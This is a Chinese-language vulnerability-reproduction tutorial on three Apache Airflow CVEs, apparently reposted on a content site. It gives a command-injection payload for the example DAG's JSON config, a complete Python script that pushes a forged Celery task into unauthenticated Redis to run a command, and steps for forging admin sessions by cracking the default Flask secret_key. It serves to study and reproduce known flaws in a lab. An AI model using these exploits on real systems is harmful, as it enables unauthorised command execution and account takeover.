Apache Airflow

目錄

Apache Airflow是什么

CVE-2020-11978(Airflow 示例dag中的命令注入)

CVE-2020-11981(Airflow Celery消息中間件命令執行)

CVE-2020-17526(Airflow 默認密鑰導致的權限繞過)?


Apache Airflow是什么

? ? ? ? Airflow是一個以編程方式編寫,安排和監視工作流的平臺。

使用Airflow將工作流編寫任務的有向無環圖(DAG),Airflow計劃程序在遵循指定的依賴項,同時在一組工作線程上執行任務。豐富的命令使用程序使在DAG上執行復雜的調度變得輕而易舉。可通過用戶界面查看正在運行的管道,查看進度與排除故障。

CVE-2020-11978(Airflow 示例dag中的命令注入)

? ? ? ? 漏洞成因:管理web頁面里面示例dag存在命令注入。

版本要求:Airflow < 1.10.10

步驟1:訪問Airflow管理頁面,啟動example_trigger_target_dag。

編輯Configuration JSON中注入命令{"message":"'\";touch /tmp/airflow_dag_success;#"},點擊提交

命令注入后需等待工作流執行成功。

步驟2:執行成功后查看是否成功執行

CVE-2020-11981(Airflow Celery消息中間件命令執行)

? ? ? ? 漏洞成因:利用中間件Celery自帶的默認消息隊列,在Redis里該list的默認隊列名airflow.executors.celery_executor.execute_command,通過Redis未授權訪問,寫入命令到該任務。

版本要求:Apache Airflow < 1.10.10

Celery < 4.0

airflow.executors.celery_executor.execute_command是Apache Airflow中中間件Celery中關鍵的任務函數,功能是負責將任務分發給Celery worker節點執行,通過數組形式傳遞執行的命令及參數。

執行流程如下:

  • 接受命令和參數的數據作為輸入[100,200],['touch','/tmp/file']
  • 通過Celery中間件(Redis/RabbitMQ)將任務序列化傳輸
  • Worker節點反序列化后調用系統接口執行命令

步驟1:該漏洞主要控制Redis未授權來將命令注入Celery中間件的任務隊列中

利用腳本exploit_airflow_celery.py來完成操作

import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_celery_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

?分析該腳本執行的操作:

  • 建立Redis連接,使用第一個參數作為連接地址
  • 定義原始字符串ori_str,該字符串是按celery元數據格式編寫
  • 將原始字符串ori_str轉換解析為字典格式,json.loads操作是將json字符串轉換成Python中的字典對象
  • 建立命令數組command,這是關鍵部分,其中定義了要執行的命令
  • 建立了新的主題內容body,包含了主體body和其他參數,其他參數為空
  • 將新的body進行了base64編碼并替換了原本task_dict中的body主體
  • 最后將制作好的task_dict序列化后推送到Redis的任務隊列中

總結來說就是

  • 連接Redis
  • 修改celery的任務的內容
  • 重新推送任務,等待執行?

?安裝Redis,運行腳本修改任務

步驟2:查看執行結果

?docker-compose logs? airflow-worker

看里面關鍵信息,在那個節點執行了該操作,這里是在容器2d569bda7480中

進去看

?成功執行

CVE-2020-17526(Airflow 默認密鑰導致的權限繞過)?

? ? ? ? 漏洞成因:默認無需密鑰登錄,但是管理員可以通過指定webserver.authenticate=Ture來開啟認證。在版本1.10.13之前,即使開啟密鑰認證,也可以通過默認密鑰來繞過登錄,并且偽造任意用戶身份。

版本要求:Apache Aieflow < 1.10.13

Airflow有一個基于Flask(基于Python編寫的輕量級web框架)開發web應用程序,該web程序使用Flask的無狀態簽名cookie來儲存和管理身份驗證信息。在安裝時可以使用Airflow創建用戶,該用戶是管理員身份。

使用了默認的靜態安全密鑰對用戶身份驗證信息進行了簽名,導致安全配置錯誤。當用戶登錄時,會產生一個默認的cookie,該cookie的名稱為session。其中包含json格式的用戶認證信息。json中名為user_id的密鑰標識了登錄的用戶身份。該json使用airflow.cfg配置文件中字符串進行簽名,該字符串在1.10.15到2.0.2版本之前,這個字符串默認是temporary_key。

靜態字符簽名問題,在本地部署相同版本的airflow,以管理員身份登錄抓包,然后將地址定向到被攻擊主機,擁有管理員權限后,可以查看其他用戶的json字符串,也就是身份驗證信息,抓取拿到本地破解就可以登錄任意用戶了。

步驟1:先獲取名為session的cookie

使用curl的-v選項會顯示請求和響應頭

步驟2:使用flask-unsign來破解簽名使用的secret_key

flask-unsign?

  • -c選項,無論是加密,解密,修改都要通過該選項提供數據
  • -u,解密被加密的cookie
  • -s,指定簽名操作,并且需要傳遞一個用于簽名的secret_key

?步驟3:破解出secret_key后,冒用管理員身份制作一個新的session(這是客戶端登錄的cookie,只是名稱叫session)

步驟4:替換生成的cookie,嘗試登錄

?成功登錄

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/907452.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/907452.shtml
英文地址,請注明出處:http://en.pswp.cn/news/907452.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Python Cookbook】迭代器與生成器(四)

目錄 案例 目錄 案例 迭代器與生成器&#xff08;一&#xff09;1.手動遍歷迭代器2.代理迭代3.使用生成器創建新的迭代模式4.實現迭代器協議迭代器與生成器&#xff08;三&#xff09;9.排列組合的迭代10.序列上索引值迭代11.同時迭代多個序列12.不同集合上元素的迭代迭代器與生…

React 播客專欄 Vol.16|useRef 和 useMemo 是干嘛的?

&#x1f44b; 歡迎回到《前端達人 React 播客書單》第 16 期&#xff08;正文內容為學習筆記摘要&#xff0c;音頻內容是詳細的解讀&#xff0c;方便你理解&#xff09;&#xff0c;請點擊下方收聽 視頻版 &#x1f399; 歡迎來到《前端達人 播客書單》第 16 期。 今天我們來…

漫談英偉達GPU架構進化史:從Celsius到Blackwell

在英偉達官網,我們可以清晰地看到其從1999年Celsius到2024年Blackwell的20+代架構演進。這一歷程猶如一部波瀾壯闊的科技史詩,見證了英偉達在GPU領域的卓越創新與持續引領。 NVIDIA GPU架構變遷路線: 年份 NV GPU架構變遷 2025 Blackwell 2.0 2024 Blackwell 2023-2024 Hopp…

車載通信網絡 --- CAN FD與CAN XL

我是穿拖鞋的漢子,魔都中堅持長期主義的汽車電子工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 做到欲望極簡,了解自己的真實欲望,不受外在潮流的影響,不盲從,不跟風。把自己的精力全部用在自己。一是去掉多余,凡事找規律,基礎是誠信;二是…

DM達夢數據庫開啟SQL日志記錄功能

DM達夢數據庫開啟SQL日志記錄功能 配置SQL日志&#xff08;非必須的配置步驟&#xff0c;與主備集群配置無關&#xff0c;如果沒有需求可以跳過配置SQL日志&#xff09; sqllog.ini 配置文件用于SQL日志的配置&#xff0c;當且僅當 INI&#xff08;dm.ini&#xff09; 參數 SV…

【HW系列】—C2遠控服務器(webshell鏈接工具, metasploit、cobaltstrike)的漏洞特征流量特征

文章目錄 蟻劍、冰蝎、哥斯拉一、蟻劍&#xff08;AntSword&#xff09;流量特征二、冰蝎&#xff08;Behinder&#xff09;流量特征三、哥斯拉&#xff08;Godzilla&#xff09;流量特征 metasploit、cobaltstrike一、Metasploit流量特征二、CobaltStrike流量特征三、檢測與防…

手機平板等設備租賃行業MDM方案解析

目錄 引言&#xff1a;MDM 在租賃行業的重要性日益凸顯 用戶場景&#xff1a;租賃公司面臨的主要挑戰 1. 設備丟失、逾期未還 2. 手動配置和恢復效率低 3. 非授權使用頻繁 4. 時區設置混亂影響運維 5. 缺乏實時監管能力 EasyControl MDM&#xff1a;租賃設備的遠程管控…

前端面試核心考點全解析

前端面試常見問題及解析大綱 核心技術篇 HTML相關問題 1. HTML5新特性解析 語義化標簽&#xff08;<header>、<section>等&#xff09;的作用與示例本地存儲&#xff08;localStorage與sessionStorage&#xff09;的差異 localStorage.setItem(key, value); c…

Selenium 測試框架 - Kotlin

??Selenium Kotlin 實踐指南:以百度搜索為例的完整測試示例 隨著測試自動化的普及,Selenium 已成為 Web 自動化測試的事實標準,而 Kotlin 憑借其簡潔語法和高安全性,越來越受到開發者歡迎。本指南將通過一個完整的實戰案例——在百度中執行搜索操作,來展示如何使用 Sele…

vscode調試stm32,Cortex Debug的配置文件lanuch.json如何寫,日志

https://blog.csdn.net/jiladahe1997/article/details/122046665 https://discuss.em-ide.com/blog/67-cortex-debug 第一版 {// 使用 IntelliSense 了解相關屬性。 // 懸停以查看現有屬性的描述。// 欲了解更多信息&#xff0c;請訪問: https://go.microsoft.com/fwlink/?li…

反范式設計應用場景解析

反范式設計應用場景解析 1. 反范式設計核心概念 反范式設計是指為了特定性能優化目標,在數據庫設計中故意違反關系數據庫的范式規則(通常是第三范式或BC范式),通過引入冗余數據或合并表結構來提升查詢效率的設計方法。 關鍵結論:反范式不是對范式理論的否定,而是在特定…

算法-js-子集

題&#xff1a;給你一個整數數組 nums &#xff0c;數組中的元素 互不相同 。返回該數組所有可能的子集&#xff08;冪集&#xff09;。解集 不能 包含重復的子集。你可以按 任意順序 返回解集。 方法一&#xff1a;迭代法 核心邏輯&#xff1a;動態擴展子集&#xff0c; 小規…

python里的NumPy算法

NumPy&#xff08;Numerical Python&#xff09;是 Python 中用于科學計算的基礎庫&#xff0c;提供了高性能的多維數組對象、矩陣運算以及大量數學函數庫。其核心優勢在于通過向量化操作替代傳統循環&#xff0c;大幅提升計算效率&#xff0c;尤其適合處理大規模數據的算法實現…

HarmonyOS優化應用文件上傳下載慢問題性能優化

一、概述 在開發應用時&#xff0c;客戶端與服務器之間數據交換的效率取決于文件傳輸的性能。一個數據交換性能較低的應用會導致其在加載過程中耗費較長時間&#xff0c;在很多的場景造成頁面卡頓&#xff0c;極大的影響了用戶體驗。相反&#xff0c;一個數據交換高效的應用&a…

64、【OS】【Nuttx】任務休眠與喚醒:clock_nanosleep

背景 之前的 blog 63、【OS】【Nuttx】任務休眠與喚醒&#xff1a;sleep 分析了任務休眠中的 sleep 函數&#xff0c;下面繼續來分析下 sleep 函數中的核心功能 clock_nanosleep clock_nanosleep usleep 上篇 blog 分析了 sleep 函數&#xff0c;其核心功能封裝到了 clock_…

【生產實踐】華為存儲XSG1在RHEL 7.x/8.x上的多路徑配置操作手冊(生產環境)

一、概述 本手冊針對Red Hat Enterprise Linux 7.x/8.x系統與華為XSG1存儲設備的多路徑I/O&#xff08;MPIO&#xff09;配置&#xff0c;通過優化路徑策略實現高可用、負載均衡及故障容錯&#xff0c;適配華為存儲硬件特性&#xff0c;滿足生產環境需求。 二、參數解析與配置…

Unity開發之Webgl自動更新程序包

之前讓客戶端更新webgl程序是在程序里寫版本號然后和服務器對比&#xff0c;不同就調用 window.location.reload(true);之前做的客戶端都是給企業用&#xff0c;用戶數少看不出來啥問題。后來自己開發一個小網站&#xff0c;用戶數量還是挺多&#xff0c;然后就會遇到各種各樣的…

一個開源腳本,可自動安裝在 AMD Radeon 7900XTX 上運行選定 AI 接口所需的所有內容

?一、軟件介紹 文末提供程序和源碼下載 一個開源腳本&#xff0c;可自動安裝在 AMD Radeon 7900XTX 上運行選定 AI 接口所需的所有內容。 二、ROCm-AI-Installer ROCm-AI-安裝程序 一個開源腳本&#xff0c;可自動安裝在 AMD Radeon 7900XTX 上運行選定 AI 接口所需的所有內…

【Axure結合Echarts繪制圖表】

1.繪制一個矩形&#xff0c;用于之后存放圖表&#xff0c;將其命名為test&#xff1a; 2.新建交互 -> 載入時 -> 打開鏈接&#xff1a; 3.鏈接到URL或文件路徑&#xff1a; 4.點擊fx&#xff1a; 5.輸入&#xff1a; javascript: var script document.createEleme…

Relooking:損失權重λ 、梯度權重α、學習率η

一般多任務&#xff0c;大家都喜歡疊加很多損失&#xff0c;由此產生很多損失權重系數。此外&#xff0c;有的學者直接對梯度進行操作。咋一看&#xff0c;上面三個系數貌似重復多余&#xff0c;直接用其中一個系數代替不行嗎&#xff1f;為此&#xff0c;回顧了下神經網絡的前…